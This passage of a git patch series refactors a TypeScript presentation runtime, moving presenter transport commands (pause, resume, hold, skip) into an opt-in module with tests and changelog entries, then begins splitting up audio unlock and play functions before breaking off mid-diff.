Edwards Date: Sat, 30 May 2026 09:28:15 +0200 Subject: [PATCH 11/29] refactor(timeline): extract presenter transport into an opt-in present-mode seam Move PresenterTransportState, presenterAdvance/skip, applyPresenterCommandToMaster, and wirePresenterCommands out of the always-on timeline composition path into src/runtime/presenter-transport.ts. The transport is wired onto the master only when a navigation forwards a presenter controller (mode=present); a non-present navigation never instantiates it. Keep the GSAP composition spine in timeline.ts (composeMasterTimeline, the scene label namespace, assertSceneTimeline, MasterBeat). Factor a single validateLabelTime helper, table-drive the pause-at-beat positionMaster branches, and fold the onMaster/onSegmentChange observability into a SegmentReporter object. Public signatures, data-pulsar-* attributes, and cross-engine timing behavior unchanged. --- ...+presenter-transport-extraction.changed.md | 10 + src/runtime/presenter-transport.ts | 210 ++++++++++++ src/runtime/presenter.ts | 9 +- src/runtime/timeline.ts | 322 ++++++------------ tests/runtime/timeline.test.ts | 32 ++ 5 files changed, 352 insertions(+), 231 deletions(-) create mode 100644 changelog.d/+presenter-transport-extraction.changed.md create mode 100644 src/runtime/presenter-transport.ts diff --git a/changelog.d/+presenter-transport-extraction.changed.md b/changelog.d/+presenter-transport-extraction.changed.md new file mode 100644 index 0000000..a9ee3a1 --- /dev/null +++ b/changelog.d/+presenter-transport-extraction.changed.md @@ -0,0 +1,10 @@ +Extracted the presenter transport machinery (advance / hold / skip / +pause / resume command translation) out of the always-on timeline +composition path into a dedicated opt-in module +(`src/runtime/presenter-transport.ts`). The transport is wired onto the +master timeline only when a navigation forwards a presenter controller +(`mode=present`); a non-present navigation never instantiates it. +`timeline.ts` keeps the GSAP composition spine — `composeMasterTimeline`, +the scene label namespace, `assertSceneTimeline`, and the `MasterBeat` +beat query. No public signatures, `data-pulsar-*` attributes, or +cross-engine timing behavior changed. diff --git a/src/runtime/presenter-transport.ts b/src/runtime/presenter-transport.ts new file mode 100644 index 0000000..74a16d0 --- /dev/null +++ b/src/runtime/presenter-transport.ts @@ -0,0 +1,210 @@ +// Presenter transport — PUL-F020 / PUL-F021 (DRAFT) / ADR-024. +// +// The opt-in seam that translates presenter commands into master-timeline +// transport actions. It is wired ONLY on the `mode=present` composition +// path (`createGsapCompositionTimeline` calls {@link wirePresenterCommands} +// when, and only when, the run input carries a `presenter` controller). +// A non-present navigation never reaches this module, so the always-on +// composition path in `timeline.ts` carries none of this state machine. +// +// ADR-024 *Cross-command precedence* is the binding contract: an explicit +// PUL-F021 `pause` is distinct from a PUL-F020 beat `hold` and a GSAP +// `addPause` advance-gate. GSAP exposes only a single `paused()` bit, so +// the runner keeps the three apart with the private {@link PresenterTransportState}. +// +// References: +// - PUL-F020 — advance / hold / skip-forward / skip-backward under +// `mode=present`; beat progression interruptible without breaking +// timeline state. +// - PUL-F021 — pause the active timeline / resume from the same point. +// - ADR-024 — presenter pause/resume precedence: only `resume` +// unfreezes an explicit pause; a beat-pacing command never does. + +import type { CompositionTimelineRunOptions } from './composition-resolver'; +import { type MasterSegment, type MasterTimeline, segmentIndexAtTime } from './timeline'; + +/** + * Per-activation presenter transport state, held inside the + * {@link wirePresenterCommands} closure (fresh per navigation). GSAP + * exposes only a single `paused()` bit, which is not a sufficient state + * model: a PUL-F020 beat `hold`, a GSAP `addPause` advance-gate, and an + * explicit PUL-F021 `pause` all read as "paused" but compose + * differently. ADR-024 *Cross-command precedence* requires the runner to + * keep them apart; these flags are that private state, scoped to the + * present-mode transport — not URL, loader, scene, or storage state. + */ +interface PresenterTransportState { + /** A PUL-F020 beat `hold` is engaged. */ + held: boolean; + /** A PUL-F021 transport `pause` freeze is engaged. */ + explicitlyPaused: boolean; + /** Current scene segment cursor in the active composition slice. */ + activeSegmentIndex: number; +} + +/** + * Release a beat hold (or a GSAP `addPause` advance-gate), or — when + * playing — seek forward to the next authored beat label OR next segment + * boundary, whichever is closer (ADR-024). Dropped while explicitly + * paused: a beat-pacing command never unfreezes a PUL-F021 pause. + */ +function presenterAdvance( + master: MasterTimeline, + segments: readonly MasterSegment[], + state: PresenterTransportState, + onSegmentChange: (segment: MasterSegment) => void, +): void { + // ADR-024: a beat-pacing command received while explicitly paused + // MUST NOT resume playback — drop it; the frozen playhead stays put. + if (state.explicitlyPaused) return; + state.held = false; + if (master.isPaused()) { + // Release the beat hold (or a GSAP addPause advance-gate). + master.play(); + return; + } + const now = master.time(); + const beatTimes = master.beats().map((b) => b.time); + const nextBeat = beatTimes.filter((t) => t > now + 0.05).sort((a, b) => a - b)[0]; + const nextSegment = segments.find((s) => s.time > now + 0.05); + if (nextBeat === undefined && nextSegment === undefined) return; + if (nextSegment !== undefined && (nextBeat === undefined || nextSegment.time <= nextBeat)) { + master.seek(nextSegment.time); + state.activeSegmentIndex = nextSegment.index; + onSegmentChange(nextSegment); + return; + } + if (nextBeat !== undefined) { + master.seek(nextBeat); + state.activeSegmentIndex = segmentIndexAtTime(segments, nextBeat); + } +} + +/** + * Shared skip body: seek to `target`, report the new active segment, + * then — unless an explicit PUL-F021 pause is in effect — release any + * beat hold and resume playback. ADR-024 permits skip to move the frozen + * playhead while paused (presenter scrubbing), but it must not resume. + */ +function presenterSkip( + master: MasterTimeline, + state: PresenterTransportState, + target: MasterSegment | undefined, + onSegmentChange: (segment: MasterSegment) => void, +): void { + if (target === undefined) return; + master.seek(target.time); + state.activeSegmentIndex = target.index; + onSegmentChange(target); + if (state.explicitlyPaused) return; + state.held = false; + if (master.isPaused()) master.play(); +} + +function presenterSkipForward( + master: MasterTimeline, + segments: readonly MasterSegment[], + state: PresenterTransportState, + onSegmentChange: (segment: MasterSegment) => void, +): void { + state.activeSegmentIndex = segmentIndexAtTime(segments, master.time()); + const targetIndex = Math.min(state.activeSegmentIndex + 1, segments.length - 1); + presenterSkip(master, state, segments[targetIndex], onSegmentChange); +} + +function presenterSkipBackward( + master: MasterTimeline, + segments: readonly MasterSegment[], + state: PresenterTransportState, + onSegmentChange: (segment: MasterSegment) => void, +): void { + state.activeSegmentIndex = segmentIndexAtTime(segments, master.time()); + const targetIndex = Math.max(state.activeSegmentIndex - 1, 0); + presenterSkip(master, state, segments[targetIndex], onSegmentChange); +} + +/** + * Translate one {@link import('./presenter').PresenterCommand} into a + * master-timeline transport action. ADR-024 *Cross-command precedence* + * is the binding contract: + * + * - `hold` — engage a PUL-F020 beat hold at the current playhead. + * Idempotent; NOT a play/pause toggle. + * - `pause` — engage the explicit PUL-F021 transport freeze. + * - `resume` — release an explicit `pause` only (a `resume` with no + * explicit pause is a no-op); a `resume` that lifts a pause engaged + * while a `hold` was active leaves the master held. + * - `advance` — release a hold / gate, or seek to the next beat / + * segment. Dropped while explicitly paused. + * - `skip-forward` / `skip-backward` — seek to the next / previous + * segment start. While paused, moves the frozen playhead without + * resuming. + * - everything else (`toggle-master-mute` / `toggle-practice`) is + * audio-owned / L2-owned and ignored here. + */ +function applyPresenterCommandToMaster( + master: MasterTimeline, + segments: readonly MasterSegment[], + state: PresenterTransportState, + onSegmentChange: (segment: MasterSegment) => void, + cmd: { readonly kind: string }, +): void { + switch (cmd.kind) { + case 'hold': + // Engage a PUL-F020 beat hold. Idempotent — NOT a toggle. + state.held = true; + master.pause(); + return; + case 'pause': + // Engage the explicit PUL-F021 transport freeze. + state.explicitlyPaused = true; + master.pause(); + return; + case 'resume': + // ADR-024: only `resume` unfreezes an explicit pause; a `resume` + // with no explicit pause in effect is a no-op. + if (!state.explicitlyPaused) return; + state.explicitlyPaused = false; + // Restore the snapshotted beat-pacing state: a `hold` engaged + // before the pause survives the resume — the master stays held. + if (state.held) return; + master.play(); + return; + case 'advance': + presenterAdvance(master, segments, state, onSegmentChange); + return; + case 'skip-forward': + presenterSkipForward(master, segments, state, onSegmentChange); + return; + case 'skip-backward': + presenterSkipBackward(master, segments, state, onSegmentChange); + return; + default: + return; // toggle-master-mute / toggle-practice / unknown — not master's concern + } +} + +/** + * Wire the per-navigation presenter controller to master-timeline + * transport. No-op when the run input carries no presenter controller — + * so a non-present navigation never instantiates {@link PresenterTransportState}. + * + * The controller is signal-bound (per-handler auto-detach on navigation + * abort), so subscriptions never accumulate across activations. + */ +export function wirePresenterCommands( + master: MasterTimeline, + segmentAnchors: readonly MasterSegment[], + opts: CompositionTimelineRunOptions, + reportSegmentChange: (segment: MasterSegment) => void, +): void { + if (opts.presenter === undefined) return; + const transport: PresenterTransportState = { + held: false, + explicitlyPaused: false, + activeSegmentIndex: segmentIndexAtTime(segmentAnchors, master.time()), + }; + opts.presenter.subscribe((cmd) => { + applyPresenterCommandToMaster(master, segmentAnchors, transport, reportSegmentChange, cmd); + }); +} diff --git a/src/runtime/presenter.ts b/src/runtime/presenter.ts index 028bc9b..dacb29b 100644 --- a/src/runtime/presenter.ts +++ b/src/runtime/presenter.ts @@ -27,10 +27,11 @@ // scene, rewrite URL/history, or persist the playhead; they are // runner-owned transport state on the same command seam, not a new // mode or lifecycle path (ADR-024). The keyboard presenter source -// (`src/system/presenter/keyboard-source.ts`) and the GSAP runner's -// `applyPresenterCommandToMaster` (`src/runtime/timeline.ts`) now -// deliver and honor these commands end to end — PUL-F020 / PUL-F021 are -// ACTIVE (issue #132). +// (`src/system/presenter/keyboard-source.ts`) and the present-mode +// transport seam `applyPresenterCommandToMaster` +// (`src/runtime/presenter-transport.ts`, wired onto the master only when +// `mode=present` forwards a controller) now deliver and honor these +// commands end to end — PUL-F020 / PUL-F021 are ACTIVE (issue #132). // // PUL-F025 (master mute) composes ADR-004 with this same seam by // adding the `toggle-master-mute` kind to the allowlist below. The diff --git a/src/runtime/timeline.ts b/src/runtime/timeline.ts index d830112..5ab6808 100644 --- a/src/runtime/timeline.ts +++ b/src/runtime/timeline.ts @@ -70,6 +70,7 @@ import type { SceneTimelineSegment, } from './composition-resolver'; import { KEBAB_IDENTIFIER_FORM, isKebabIdentifier } from './identifier'; +import { wirePresenterCommands } from './presenter-transport'; type GsapTimeline = InstanceType; @@ -138,6 +139,26 @@ const isGsapTimeline = (value: unknown): value is GsapTimeline => * `composition timeline failed:` envelope and tears every mounted scene * down (ADR-025). */ +/** + * A label's time must be a finite number in `[0, duration]` — a label + * outside the scene's content is not a usable moment. `kind` is the noun + * the error uses (`sentinel label` for runtime sentinels, `beat` for + * authored beats) so both callers share one range check. + */ +function validateLabelTime( + sceneId: string, + kind: string, + label: string, + time: number, + duration: number, +): void { + if (!Number.isFinite(time) || time < 0 || time > duration) { + throw new SceneTimelineLabelError( + `scene "${sceneId}" timeline ${kind} "${label}" is at an invalid time ${time}: a ${kind} time must be a finite number between 0 and the scene timeline duration (${duration}s)`, + ); + } +} + export function assertSceneTimeline( value: unknown, sceneId: string, @@ -156,11 +177,7 @@ export function assertSceneTimeline( // by `MasterTimeline.beats()`. The kebab-case rule is a contract // for beat names only. if (label.startsWith('_')) { - if (!Number.isFinite(time) || time < 0 || time > duration) { - throw new SceneTimelineLabelError( - `scene "${sceneId}" timeline sentinel label "${label}" is at an invalid time ${time}: a label time must be a finite number between 0 and the scene timeline duration (${duration}s)`, - ); - } + validateLabelTime(sceneId, 'sentinel label', label, time, duration); continue; } if (!isKebabIdentifier(label)) { @@ -168,11 +185,7 @@ export function assertSceneTimeline( `scene "${sceneId}" timeline label "${label}" is not a valid beat: beat labels must be lowercase kebab-case identifiers (${KEBAB_IDENTIFIER_FORM})`, ); } - if (!Number.isFinite(time) || time < 0 || time > duration) { - throw new SceneTimelineLabelError( - `scene "${sceneId}" timeline beat "${label}" is at an invalid time ${time}: a beat time must be a finite number between 0 and the scene timeline duration (${duration}s)`, - ); - } + validateLabelTime(sceneId, 'beat', label, time, duration); } } @@ -797,6 +810,23 @@ type MasterRunMode = 'hold' | 'loop' | 'play' | 'scrub'; * → `'scrub'`. * - default: → `'play'`. */ +/** + * The head hints that freeze the master at the addressed beat (or frame + * 0) and never play, in precedence order. Each shares the same + * positioning — `seek(beatLabel ?? 0); pause()` — differing only in the + * run mode it reports, so the branch is table-driven rather than a chain + * of near-identical `if` blocks. `headHold` is NOT in this table: it + * holds at frame 0 unconditionally and must run before the beat lookup + * (`mode=paused` is first-frame inspection, never a beat seek). + */ +const PAUSE_AT_BEAT_HINTS: readonly { + readonly engaged: (opts: CompositionTimelineRunOptions) => boolean; + readonly mode: MasterRunMode; +}[] = [ + { engaged: (o) => o.headScreenshot === 'capture', mode: 'hold' }, + { engaged: (o) => o.headCueGate === 'monotonic-forward', mode: 'scrub' }, +]; + function positionMaster( master: MasterTimeline, headSceneId: string | undefined, @@ -808,15 +838,11 @@ function positionMaster( return 'hold'; } const beatLabel = resolveHeadBeatLabel(master, headSceneId, opts); - if (opts.headScreenshot === 'capture') { + const pauseHint = PAUSE_AT_BEAT_HINTS.find((hint) => hint.engaged(opts)); + if (pauseHint !== undefined) { master.seek(beatLabel ?? 0); master.pause(); - return 'hold'; - } - if (opts.headCueGate === 'monotonic-forward') { - master.seek(beatLabel ?? 0); - master.pause(); - return 'scrub'; + return pauseHint.mode; } if (beatLabel !== undefined) { master.seek(beatLabel); @@ -852,7 +878,14 @@ function buildSegmentLabelMap( return out; } -const segmentIndexAtTime = (segments: readonly MasterSegment[], time: number): number => { +/** + * The 0-based index of the composition segment whose start time the + * `time` playhead has reached, scanning from the tail so the most recent + * boundary wins. `-1` for an empty slice; `0` before the first segment + * start. The present-mode presenter transport (`presenter-transport.ts`) + * uses this to keep its scene cursor in sync with the playhead. + */ +export const segmentIndexAtTime = (segments: readonly MasterSegment[], time: number): number => { if (segments.length === 0) return -1; for (let i = segments.length - 1; i >= 0; i--) { const segment = segments[i]; @@ -861,170 +894,6 @@ const segmentIndexAtTime = (segments: readonly MasterSegment[], time: number): n return 0; }; -/** - * Per-activation presenter transport state, held inside the - * {@link createGsapCompositionTimeline} `run` closure (fresh per - * navigation). GSAP exposes only a single `paused()` bit, which is not - * a sufficient state model: a PUL-F020 beat `hold`, a GSAP `addPause` - * advance-gate, and an explicit PUL-F021 `pause` all read as "paused" - * but compose differently. ADR-024 *Cross-command precedence* requires - * the runner to keep them apart; these two flags are that private - * state, scoped to the timeline adapter — not URL, loader, scene, or - * storage state. - */ -interface PresenterTransportState { - /** A PUL-F020 beat `hold` is engaged. */ - held: boolean; - /** A PUL-F021 transport `pause` freeze is engaged. */ - explicitlyPaused: boolean; - /** Current scene segment cursor in the active composition slice. */ - activeSegmentIndex: number; -} - -/** - * Translate a {@link PresenterCommand} into a master-timeline transport - * action. Wired by {@link createGsapCompositionTimeline} so the - * presenter keyboard / cross-window bridge / future remote source all - * drive playback the same way. ADR-024 *Cross-command precedence* is - * the binding contract: - * - * - `pause` — engage the explicit PUL-F021 transport freeze. The - * playhead stops wherever it is. - * - `resume` — release an explicit `pause`. A `resume` with no explicit - * pause in effect is a no-op; a `resume` that lifts a pause engaged - * while a `hold` was active leaves the master held (the snapshotted - * beat-pacing state survives — only the freeze is lifted). - * - `hold` — engage a PUL-F020 beat hold at the current playhead. - * Idempotent: a second `hold` keeps the master held; it is NOT a - * play/pause toggle. - * - `advance` — release a beat hold / `addPause` gate, or (when - * playing) seek forward to the next authored beat label OR next - * segment boundary (whichever is closer). Dropped while explicitly - * paused — a beat-pacing command never unfreezes an explicit pause. - * - `skip-forward` / `skip-backward` — seek to the start of the next / - * previous segment (frame 0 before the first). While explicitly - * paused this seeks the frozen playhead but does not resume. - * - `toggle-master-mute` / `toggle-practice` — audio-owned / L2-owned; - * ignored here. - */ -function presenterAdvance( - master: MasterTimeline, - segments: readonly MasterSegment[], - state: PresenterTransportState, - onSegmentChange: (segment: MasterSegment) => void, -): void { - // ADR-024: a beat-pacing command received while explicitly paused - // MUST NOT resume playback — drop it; the frozen playhead stays put. - if (state.explicitlyPaused) return; - state.held = false; - if (master.isPaused()) { - // Release the beat hold (or a GSAP addPause advance-gate). - master.play(); - return; - } - const now = master.time(); - const beatTimes = master.beats().map((b) => b.time); - const nextBeat = beatTimes.filter((t) => t > now + 0.05).sort((a, b) => a - b)[0]; - const nextSegment = segments.find((s) => s.time > now + 0.05); - if (nextBeat === undefined && nextSegment === undefined) return; - if (nextSegment !== undefined && (nextBeat === undefined || nextSegment.time <= nextBeat)) { - master.seek(nextSegment.time); - state.activeSegmentIndex = nextSegment.index; - onSegmentChange(nextSegment); - return; - } - if (nextBeat !== undefined) { - master.seek(nextBeat); - state.activeSegmentIndex = segmentIndexAtTime(segments, nextBeat); - } -} - -/** - * Shared skip body: seek to `target`, report the new active segment, - * then — unless an explicit PUL-F021 pause is in effect — release any - * beat hold and resume playback. ADR-024 permits skip to move the - * frozen playhead while paused (presenter scrubbing), but it must not - * resume. - */ -function presenterSkip( - master: MasterTimeline, - state: PresenterTransportState, - target: MasterSegment | undefined, - onSegmentChange: (segment: MasterSegment) => void, -): void { - if (target === undefined) return; - master.seek(target.time); - state.activeSegmentIndex = target.index; - onSegmentChange(target); - if (state.explicitlyPaused) return; - state.held = false; - if (master.isPaused()) master.play(); -} - -function presenterSkipForward( - master: MasterTimeline, - segments: readonly MasterSegment[], - state: PresenterTransportState, - onSegmentChange: (segment: MasterSegment) => void, -): void { - state.activeSegmentIndex = segmentIndexAtTime(segments, master.time()); - const targetIndex = Math.min(state.activeSegmentIndex + 1, segments.length - 1); - presenterSkip(master, state, segments[targetIndex], onSegmentChange); -} - -function presenterSkipBackward( - master: MasterTimeline, - segments: readonly MasterSegment[], - state: PresenterTransportState, - onSegmentChange: (segment: MasterSegment) => void, -): void { - state.activeSegmentIndex = segmentIndexAtTime(segments, master.time()); - const targetIndex = Math.max(state.activeSegmentIndex - 1, 0); - presenterSkip(master, state, segments[targetIndex], onSegmentChange); -} - -function applyPresenterCommandToMaster( - master: MasterTimeline, - segments: readonly MasterSegment[], - state: PresenterTransportState, - onSegmentChange: (segment: MasterSegment) => void, - cmd: { readonly kind: string }, -): void { - switch (cmd.kind) { - case 'hold': - // Engage a PUL-F020 beat hold. Idempotent — NOT a toggle. - state.held = true; - master.pause(); - return; - case 'pause': - // Engage the explicit PUL-F021 transport freeze. - state.explicitlyPaused = true; - master.pause(); - return; - case 'resume': - // ADR-024: only `resume` unfreezes an explicit pause; a `resume` - // with no explicit pause in effect is a no-op. - if (!state.explicitlyPaused) return; - state.explicitlyPaused = false; - // Restore the snapshotted beat-pacing state: a `hold` engaged - // before the pause survives the resume — the master stays held. - if (state.held) return; - master.play(); - return; - case 'advance': - presenterAdvance(master, segments, state, onSegmentChange); - return; - case 'skip-forward': - presenterSkipForward(master, segments, state, onSegmentChange); - return; - case 'skip-backward': - presenterSkipBackward(master, segments, state, onSegmentChange); - return; - default: - return; // toggle-master-mute / toggle-practice / unknown — not master's concern - } -} - /** * Run the positioned master and resolve when the composition activation * is done — the master reached its natural end (so the resolver tears @@ -1094,22 +963,42 @@ function runMasterUntilDone( }); } +/** + * The per-activation observability seam: the single sink the run loop + * (and the composer's segment-start callbacks, and the present-mode + * transport) push active-segment changes through. `report` de-duplicates + * consecutive identical segments so a GSAP segment-start callback that + * lands on the segment a direct seek already reported does not double- + * fire; `reportInitial` seeds it from the positioned playhead. + */ +interface SegmentReporter { + report(segment: MasterSegment): void; + reportInitial(master: MasterTimeline, segmentAnchors: readonly MasterSegment[]): void; +} + const createSegmentReporter = ( onSegmentChange: ((segment: MasterSegment) => void) | undefined, -): ((segment: MasterSegment) => void) => { +): SegmentReporter => { let lastReportedSegment: string | null = null; - return (segment) => { + const report = (segment: MasterSegment): void => { const key = `${segment.label}@${segment.index}`; if (key === lastReportedSegment) return; lastReportedSegment = key; onSegmentChange?.(segment); }; + return { + report, + reportInitial(master, segmentAnchors) { + const initial = segmentAnchors[segmentIndexAtTime(segmentAnchors, master.time())]; + if (initial !== undefined) report(initial); + }, + }; }; const buildRunComposeOptions = ( opts: CompositionTimelineRunOptions, options: GsapCompositionTimelineOptions, - reportSegmentChange: (segment: MasterSegment) => void, + reporter: SegmentReporter, ): ComposeMasterTimelineOptions => { const composeOpts: ComposeMasterTimelineOptions = {}; if (options.transitions !== undefined) { @@ -1120,8 +1009,9 @@ const buildRunComposeOptions = ( options.transitionOverlay; } if (options.onSegmentChange !== undefined) { - (composeOpts as { onSegmentStart?: (segment: MasterSegment) => void }).onSegmentStart = - reportSegmentChange; + (composeOpts as { onSegmentStart?: (segment: MasterSegment) => void }).onSegmentStart = ( + segment, + ) => reporter.report(segment); } if (opts.headCueGate === 'monotonic-forward' && opts.audioCueGate !== undefined) { (composeOpts as { audioCueGate?: CueGateControl }).audioCueGate = opts.audioCueGate; @@ -1129,32 +1019,6 @@ const buildRunComposeOptions = ( return composeOpts; }; -const reportInitialSegment = ( - master: MasterTimeline, - segmentAnchors: readonly MasterSegment[], - reportSegmentChange: (segment: MasterSegment) => void, -): void => { - const initialSegment = segmentAnchors[segmentIndexAtTime(segmentAnchors, master.time())]; - if (initialSegment !== undefined) reportSegmentChange(initialSegment); -}; - -const wirePresenterCommands = ( - master: MasterTimeline, - segmentAnchors: readonly MasterSegment[], - opts: CompositionTimelineRunOptions, - reportSegmentChange: (segment: MasterSegment) => void, -): void => { - if (opts.presenter === undefined) return; - const transport: PresenterTransportState = { - held: false, - explicitlyPaused: false, - activeSegmentIndex: segmentIndexAtTime(segmentAnchors, master.time()), - }; - opts.presenter.subscribe((cmd) => { - applyPresenterCommandToMaster(master, segmentAnchors, transport, reportSegmentChange, cmd); - }); -}; - /** * Build the GSAP-backed {@link CompositionTimelineAdapter} the * workbench wires onto the composition resolver. Each @@ -1168,13 +1032,15 @@ const wirePresenterCommands = ( * tears every scene down). * * `opts.presenter` (the per-navigation presenter command controller) is - * subscribed here: each {@link PresenterCommand} is translated into a - * master transport action by {@link applyPresenterCommandToMaster} - * (PUL-F020 advance / hold / skip-forward / skip-backward; PUL-F021 - * pause / resume). A segment's `range` (per-entry composition override) - * is still not interpreted — sub-range cuts are PUL-F003's and extend - * this adapter's `MasterTimeline` transport seam when that requirement - * is implemented. + * the opt-in present-mode seam: when supplied, + * {@link import('./presenter-transport').wirePresenterCommands} subscribes + * it and translates each presenter command into a master transport + * action (PUL-F020 advance / hold / skip-forward / skip-backward; + * PUL-F021 pause / resume). A non-present navigation supplies no + * `presenter`, so the transport state machine is never instantiated. A + * segment's `range` (per-entry composition override) is still not + * interpreted — sub-range cuts are PUL-F003's and extend this adapter's + * `MasterTimeline` transport seam when that requirement is implemented. */ export function createGsapCompositionTimeline( options: GsapCompositionTimelineOptions, @@ -1185,13 +1051,13 @@ export function createGsapCompositionTimeline( let master: MasterTimeline; let mode: MasterRunMode; let segmentAnchors: readonly MasterSegment[]; - const reportSegmentChange = createSegmentReporter(onSegmentChange); + const reporter = createSegmentReporter(onSegmentChange); try { - const composeOpts = buildRunComposeOptions(opts, options, reportSegmentChange); + const composeOpts = buildRunComposeOptions(opts, options, reporter); master = composeMasterTimeline(engine, segments, composeOpts); segmentAnchors = buildSegmentLabelMap(segments, master); mode = positionMaster(master, segments[0]?.id, opts); - reportInitialSegment(master, segmentAnchors, reportSegmentChange); + reporter.reportInitial(master, segmentAnchors); } catch (err) { return Promise.reject(err); } @@ -1204,10 +1070,12 @@ export function createGsapCompositionTimeline( return Promise.reject(err); } // Wire the per-navigation presenter controller to master-timeline - // navigation. The controller is signal-bound (per-handler - // auto-detach on navigation abort), so we never accumulate - // subscriptions across activations. - wirePresenterCommands(master, segmentAnchors, opts, reportSegmentChange); + // transport — ONLY when `opts.presenter` is set (present mode). A + // non-present navigation never instantiates the transport state + // machine in `presenter-transport.ts`. The controller is + // signal-bound (per-handler auto-detach on navigation abort), so + // subscriptions never accumulate across activations. + wirePresenterCommands(master, segmentAnchors, opts, (segment) => reporter.report(segment)); return runMasterUntilDone(master, mode, opts.signal); }, }; diff --git a/tests/runtime/timeline.test.ts b/tests/runtime/timeline.test.ts index b068da4..5946f75 100644 --- a/tests/runtime/timeline.test.ts +++ b/tests/runtime/timeline.test.ts @@ -1235,4 +1235,36 @@ describe('createGsapCompositionTimeline — presenter command transport (PUL-F02 r.abort(); await r.settled; }); + + // The transport seam (`presenter-transport.ts`) is opt-in: it is wired + // ONLY when the run input carries a `presenter` controller — i.e. the + // present-mode path. A non-present navigation forwards no controller, + // so the transport state machine is never instantiated and the + // workbench command source is never subscribed. + it('a non-present run (no opts.presenter) never subscribes the presenter source — transport not instantiated', async () => { + const ctrl = new AbortController(); + const subscribe = vi.fn(() => () => undefined); + const source: PresenterCommandSource = { subscribe }; + // The controller exists, but it is NOT forwarded as `opts.presenter` + // (the loader builds one only under mode=present). The transport must + // not be wired, so the source's `subscribe` is never invoked. + createPresenterController(source, ctrl.signal); + const adapter = createGsapCompositionTimeline({ engine }); + await adapter.run([segment('a', sceneTl(1))], { signal: ctrl.signal }); + expect(subscribe).not.toHaveBeenCalled(); + ctrl.abort(); + }); + + it('a present run (opts.presenter set) subscribes the presenter source — transport wired', async () => { + const ctrl = new AbortController(); + const subscribe = vi.fn(() => () => undefined); + const source: PresenterCommandSource = { subscribe }; + const presenter = createPresenterController(source, ctrl.signal); + const adapter = createGsapCompositionTimeline({ engine }); + const settled = adapter.run([segment('a', sceneTl(30))], { signal: ctrl.signal, presenter }); + await flush(); + expect(subscribe).toHaveBeenCalledTimes(1); + ctrl.abort(); + await settled; + }); }); From 976a89261b58100a4362063e1a255cb8dee61326 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sat, 30 May 2026 09:37:50 +0200 Subject: [PATCH 12/29] refactor(audio): close audio.ts cognitive-complexity suppressions Decompose the two suppressed audio-engine functions so they fall under the maxAllowedComplexity-15 gate without changing observable behavior: - unlock() delegates its HTML5 and Web Audio fallback branches to the new unlockHtml5Fallback / resumeWebAudioContext module helpers. - play() delegates option validation to validatePlay and per-instance engine output to applyPlayToHandle. The normalizeSources offender was already covered by the hoisted normalizeAudioUrl. Remove all three audio.ts rows from the complexity backlog and drop audio.ts from the complexity-gate policy oracle's expected-suppression list (the documented ratchet path). The audio service public methods, output policies, error families, composition bed routing, cue gate, and master-mute semantics are unchanged; the full suite (2669 tests) stays green. --- changelog.d/+audio-engine-slimming.changed.md | 11 ++ docs/design/complexity-backlog.md | 12 +- src/runtime/audio.ts | 161 +++++++++++------- .../policy-biome-complexity-gate.test.ts | 5 +- 4 files changed, 125 insertions(+), 64 deletions(-) create mode 100644 changelog.d/+audio-engine-slimming.changed.md diff --git a/changelog.d/+audio-engine-slimming.changed.md b/changelog.d/+audio-engine-slimming.changed.md new file mode 100644 index 0000000..142494d --- /dev/null +++ b/changelog.d/+audio-engine-slimming.changed.md @@ -0,0 +1,11 @@ +Closed the three `src/runtime/audio.ts` cognitive-complexity +suppressions. `unlock()` now delegates its HTML5 and Web Audio +fallback branches to the `unlockHtml5Fallback` / `resumeWebAudioContext` +module helpers; `play()` delegates option validation to `validatePlay` +and per-instance engine output to `applyPlayToHandle`. The +`normalizeSources` offender was already covered by the hoisted +`normalizeAudioUrl`. Behavior is unchanged — the audio service public +methods, output policies, error families, composition bed routing, cue +gate, and master-mute semantics are byte-identical. The audio.ts rows +were removed from `docs/design/complexity-backlog.md` and the +complexity-gate policy oracle. diff --git a/docs/design/complexity-backlog.md b/docs/design/complexity-backlog.md index da402a8..a8a67c5 100644 --- a/docs/design/complexity-backlog.md +++ b/docs/design/complexity-backlog.md @@ -50,9 +50,15 @@ function per site. | File | Symbol | Score | |------|--------|-------| | [`src/runtime/asset-preloader.ts`](../../src/runtime/asset-preloader.ts) | returned async `(scene) => ...` arrow inside `createAssetPreloader` | 16 | -| [`src/runtime/audio.ts`](../../src/runtime/audio.ts) | `async unlock()` method on the AudioUnlocker | 22 | -| [`src/runtime/audio.ts`](../../src/runtime/audio.ts) | `normalizeSources` arrow | 17 | -| [`src/runtime/audio.ts`](../../src/runtime/audio.ts) | `play(soundId, options)` method | 24 | + +The three `src/runtime/audio.ts` offenders — `async unlock()` (22), +`normalizeSources` (17), and `play(soundId, options)` (24) — were +removed when the audio engine was slimmed: `unlock()` delegates to the +`unlockHtml5Fallback` / `resumeWebAudioContext` module helpers, the +per-URL validation lives in the hoisted `normalizeAudioUrl`, and +`play()` delegates option validation to `validatePlay` and engine +output to `applyPlayToHandle`. Their site-level suppressions were +deleted with them. `runLifecycle` (formerly score 21) was removed from this list when the per-mode runner hints (`repeat` / `hold` / `cueGate` / `screenshot`) diff --git a/src/runtime/audio.ts b/src/runtime/audio.ts index 2493187..ee99ae0 100644 --- a/src/runtime/audio.ts +++ b/src/runtime/audio.ts @@ -172,6 +172,70 @@ export interface AudioEngine { * Howler-backed engine * ------------------------------------------------------------------ */ +/** The slice of Howler's mutable global the unlock dance reads. */ +interface HowlerHandle { + ctx: AudioContext | null | undefined; + noAudio: boolean | undefined; + usingWebAudio: boolean | undefined; +} + +/** 44-byte silent WAV used by both unlock fallback branches. */ +const SILENT_UNLOCK_WAV = + 'data:audio/wav;base64,UklGRiQAAABXQVZFZm10IBAAAAABAAEARKwAAIhYAQACABAAZGF0YQAAAAA='; + +/** + * HTML5-audio autoplay-policy unlock: `play()` a muted silent `